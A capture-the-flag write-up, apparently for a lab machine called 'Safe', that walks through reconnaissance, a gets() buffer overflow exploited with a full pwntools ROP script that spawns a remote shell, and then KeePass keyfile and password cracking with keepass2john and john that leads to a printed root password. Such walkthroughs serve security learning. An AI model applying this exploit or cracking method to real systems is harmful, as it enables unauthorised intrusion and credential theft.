Safe
Recon
I started with a normal nmap scan.
1
nmap -sC -sV TARGET
Three ports are open:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Apache default page |
| 1337 | Custom | myapp binary service |
The Apache page looks empty, but there is an HTML comment in it that points to /myapp. I downloaded that file. It is the same program that runs on port 1337, so I can study it locally and then attack the real service.
Foothold
Looking at the binary
myapp is a x86-64 ELF. NX is enabled but it is not PIE, so all addresses are fixed. These are the useful parts:
1
2
3
4
main(): 0x70 (112) byte buffer, calls gets(), no bounds check
test() at 0x401152: push rbp; mov rbp,rsp; mov rdi,rsp; jmp *r13
system@plt at 0x401040
pop r13; pop r14; pop r15; ret at 0x401206
gets() has no size limit, so we can overflow the 112 byte buffer. The test() function is the interesting one. It pushes RBP on the stack, moves RSP into RDI, then jumps to whatever is in r13. If RBP holds the string /bin/sh and r13 holds system, we get system("/bin/sh").
ROP chain
The chain is: fill the buffer, put /bin/sh\x00 where the saved RBP goes, pop system@plt into r13 with the gadget, then return into test().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r = remote('TARGET', 1337)
payload = b'A' * 112 # fill buffer
payload += b'/bin/sh\x00' # saved RBP, restored by leave
payload += p64(0x401206) # pop r13; pop r14; pop r15; ret
payload += p64(0x401040) # r13 = system@plt
payload += p64(0xdeadbeef) # r14 = junk
payload += p64(0xdeadbeef) # r15 = junk
payload += p64(0x401152) # test(): push rbp; mov rdi,rsp; jmp r13
r.sendline(payload)
r.interactive()
Why this works:
- The
leaveat the end of main loads/bin/sh\x00into RBP. - The first
retgoes to the gadget, which pops system into r13 and junk into r14 and r15. - The next
retgoes totest(). It pushes RBP, so the string/bin/shis now on the stack. Thenmov rdi,rspmakes RDI point to that string, andjmp r13jumps to system. - The result is
system("/bin/sh").
This gives a shell as the user.
User
Now we can read the user flag.
1
cat user.txt
Root
In /home/user/ there is a KeePass database MyPasswords.kdbx and 6 JPG images. The images look like keyfiles for the database. I don’t know which one is right, so I ran keepass2john with each image as the keyfile.
1
2
3
for img in IMG_054*.JPG; do
keepass2john -k $img MyPasswords.kdbx
done
Then I cracked the hash with john and rockyou.
1
john --wordlist=rockyou.txt keepass_hash.txt
The right keyfile is IMG_0547.JPG and the master password is bullshit. With both of them I opened the database. It has the root password inside: u3v2249dl9ptv465cogl3cnpo3fyhk.
1
2
su root
cat root.txt
That gives root.